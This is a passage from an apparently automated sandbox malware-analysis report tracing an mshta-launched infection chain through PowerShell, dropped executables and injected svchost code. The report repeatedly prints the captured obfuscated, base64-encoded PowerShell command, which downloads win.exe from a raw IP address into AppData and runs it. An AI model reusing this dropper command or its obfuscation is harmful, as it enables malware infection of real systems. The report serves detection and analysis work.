ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
            Suspicious command line found
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
            Suspicious powershell command line found
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB4B37 LoadLibraryA,GetProcAddress,6_2_00AB4B37
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD8945 push ecx; ret 6_2_00AD8958
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0040D946 push ds; ret 7_2_0040D95D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004271D3 push esp; ret 7_2_00427239
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00417A65 push 1D9A8CFAh; ret 7_2_00417A6A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004142E1 push ss; iretd 7_2_00414337
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004142BB pushfd ; retf 7_2_004142E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004034A0 push eax; ret 7_2_004034A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0040856C push edi; iretd 7_2_00408586
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004145E2 push ecx; iretd 7_2_004145ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0041AEAF push es; retf 7_2_0041AEB6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00417735 pushad ; iretd 7_2_00417736
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0040D7A3 pushfd ; retf 7_2_0040D7A5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B309AD push ecx; mov dword ptr [esp], ecx7_2_03B309B6
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exeJump to dropped file
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\winnit.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.dllJump to dropped file

            Hooking and other Techniques for Hiding and Protection

            barindex
            Loading BitLocker PowerShell Module
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,6_2_00AB48D7
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B35376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,6_2_00B35376
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD3187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,6_2_00AD3187
            Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
